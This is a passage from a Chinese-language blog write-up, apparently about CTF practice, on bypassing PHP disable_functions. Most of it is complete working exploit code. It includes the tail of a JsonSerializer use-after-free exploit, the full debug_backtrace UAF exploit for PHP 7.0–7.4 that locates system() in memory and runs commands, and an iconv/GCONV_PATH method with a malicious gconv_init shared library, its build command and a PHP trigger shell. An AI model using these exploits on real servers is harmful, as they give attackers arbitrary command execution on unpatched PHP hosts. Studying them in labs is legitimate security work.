$leak = strlen($spl1::$leak);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }

return $leak;
}

public function parse_elf($base) {
$e_type = $this->leak2($base, 0x10, 2);

$e_phoff = $this->leak2($base, 0x20);
$e_phentsize = $this->leak2($base, 0x36, 2);
$e_phnum = $this->leak2($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = $this->leak2($header, 0, 4);
$p_flags = $this->leak2($header, 4, 4);
$p_vaddr = $this->leak2($header, 0x10);
$p_memsz = $this->leak2($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

public function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = $this->leak2($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = $this->leak2($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

public function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = $this->leak2($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

public function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->leak2($addr);
$f_name = $this->leak2($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return $this->leak2($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

public function jsonSerialize() {
global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = new DateInterval('PT1S');

$room = [];
for($i = 0; $i < $n_alloc; $i++)
$room[] = new Z();

$_protector = $this->ptr2str(0, 78);

$this->abc = $this->ptr2str(0, 79);
$p = new DateInterval('PT1S');

unset($y[0]);
unset($p);

$protector = ".$_protector";

$x = new DateInterval('PT1S');
$x->d = 0x2000;
$x->h = 0xdeadbeef;
# $this->abc is now of size 0x2000

if($this->str2ptr($this->abc) != 0xdeadbeef) {
die('UAF failed.');
}

$spl1 = new MySplFixedArray();
$spl2 = new MySplFixedArray();

# some leaks
$class_entry = $this->str2ptr($this->abc, 0x120);
$handlers = $this->str2ptr($this->abc, 0x128);
$php_heap = $this->str2ptr($this->abc, 0x1a8);
$abc_addr = $php_heap - 0x218;

# create a fake class_entry
$fake_obj = $abc_addr;
$this->write($this->abc, 0, 2); # type
$this->write($this->abc, 0x120, $abc_addr); # fake class_entry

# copy some of class_entry definition
for($i = 0; $i < 16; $i++) {
$this->write($this->abc, 0x10 + $i * 8,
$this->leak1($class_entry + 0x10 + $i * 8));
}

# fake static members table
$fake_tbl_off = 0x70 * 4 - 16;
$this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
$this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);

# fake zval_reference
$this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)

# look for binary base
$binary_leak = $this->leak2($handlers + 0x10);
if(!($base = $this->get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

# parse elf header
if(!($elf = $this->parse_elf($base))) {
die("Couldn't parse ELF");
}

# get basic_functions address
if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

# find system entry
if(!($zif_system = $this->get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# copy hashtable offsetGet bucket
$fake_bkt_off = 0x70 * 5 - 16;

$function_data = $this->str2ptr($this->abc, 0x50);
for($i = 0; $i < 4; $i++) {
$this->write($this->abc, $fake_bkt_off + $i * 8,
$this->leak2($function_data + 0x40 * 4, $i * 8));
}

# create a fake bucket
$fake_bkt_addr = $abc_addr + $fake_bkt_off;
$this->write($this->abc, 0x50, $fake_bkt_addr);
for($i = 0; $i < 3; $i++) {
$this->write($this->abc, 0x58 + $i * 4, 1, 4);
}

# copy bucket zval
$function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
for($i = 0; $i < 12; $i++) {
$this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8,
$this->leak2($function_zval, $i * 8));
}

# pwn
$this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
$this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);

$spl1->offsetGet($cmd);

exit();
}
}

$y = [new Z()];
json_encode([&$y]);

上传这个exp然后包含执行命令即可
image-20231206170321129
也可插件直接用
image-20231206170329807

利用Backtrace UAF

利用条件

  • Linux 操作系统
  • PHP7.0 - all versions to date
  • PHP7.1 - all versions to date
  • PHP7.2 - all versions to date
  • PHP7.3 < 7.3.15 (released 20 Feb 2020)
  • PHP7.4 < 7.4.3 (released 20 Feb 2020)

利用方法

原理也是pwn
EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("tac /flag");

function pwn($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);
exit();
}

和上面一样把exp贴进去就行
image-20231206170347121
利用插件
image-20231206170354905

利用iconv

利用条件

  • Linux 操作系统
  • putenv
  • iconv
  • 存在可写的目录, 需要上传 .so 文件

利用原理

使用GCONV_PATH与iconv进行bypass disable_functions_gconv-modules_lesion__的博客-CSDN博客

iconv是一个计算机程序以及一套应用程序编程接口的名称。 作为应用程序的iconv采用命令行界面,允许将某种特定编码的文件转换为另一种编码。

感觉就是转换编码的一个东西吧,利用原理也是和LD_PRELOAD差不多,参考上面文章即可,这里再把上面文章中的bypass过程贴一下方便以后自己看

我们的利用方式就是首先在某一文件夹(一般是/tmp)中上传gconv-modules文件,文件中指定我们自定义的字符集文件的.so,然后我们再在.so文件中的gonv_init()函数中书写命令执行函数,之后上传php的shell,内容是使用php设定GCONV_PATH指向我们的gconv-modules文件,然后使用iconv函数使我们的恶意代码执行。

利用方法

环境使用ctfhub上的
先上传gconv-modules文件于/tmp文件夹,其内容如下:

1
2
3
4
5
6
module  自定义字符集名字(大写)//    INTERNAL    ../../../../../../../../tmp/自定义字符集名字(小写)    2
module INTERNAL 自定义字符集名字(大写)// ../../../../../../../../tmp/自定义字符集名字(小写) 2

例如:
module HACK// INTERNAL ../../../../../../../../tmp/hack 2
module INTERNAL HACK// ../../../../../../../../tmp/hack 2

上传该文件至/tmp文件夹下
image-20231206170412144
再编写一个.c文件如hack.c

1
2
3
4
5
6
7
8
#include <stdio.h>
#include <stdlib.h>

void gconv() {}

void gconv_init() {
system("/readflag > /tmp/flag");
}

编译为.so文件

1
gcc hack.c -o hack.so -shared -fPIC

上传到tmp下
image-20231206170421215
然后在web目录下直接建个shell.php

1
2
3
4
<?php
putenv("GCONV_PATH=/tmp/");
iconv("hack", "UTF-8", "whatever");
?>

image-20231206170429257
然后访问即可,回蚁剑在tmp下看到flag
image-20231206170436046
也可直接用蚁剑的插件
image-20231206170442786
执行后会在web目录下生成个.antproxy.php然后用同样的密码连接这个shell即可执行命令
image-20231206170458672

参考

bypass disable_functions姿势总结 - 先知社区 (aliyun.com)
Windows平台的PHP之开启COM配置-腾讯云开发者社区-腾讯云 (tencent.com)
从绕过disable_functions到关于so的一些想法 (qq.com)
浅谈LD_PRELOAD劫持_unset ld_preload_errorr0的博客-CSDN博客
无需sendmail:巧用LD_PRELOAD突破disable_functions - FreeBuf网络安全行业门户
LD_PRELOAD & putenv() 绕过 disable_functions & open_basedir - 淚笑 - 博客园 (cnblogs.com)
PHP7.4 FFI 扩展安全问题_葫芦娃42的博客-CSDN博客
Web安全 | Fastcgi 协议分析与 PHP-FPM 攻击方法-腾讯云开发者社区-腾讯云 (tencent.com)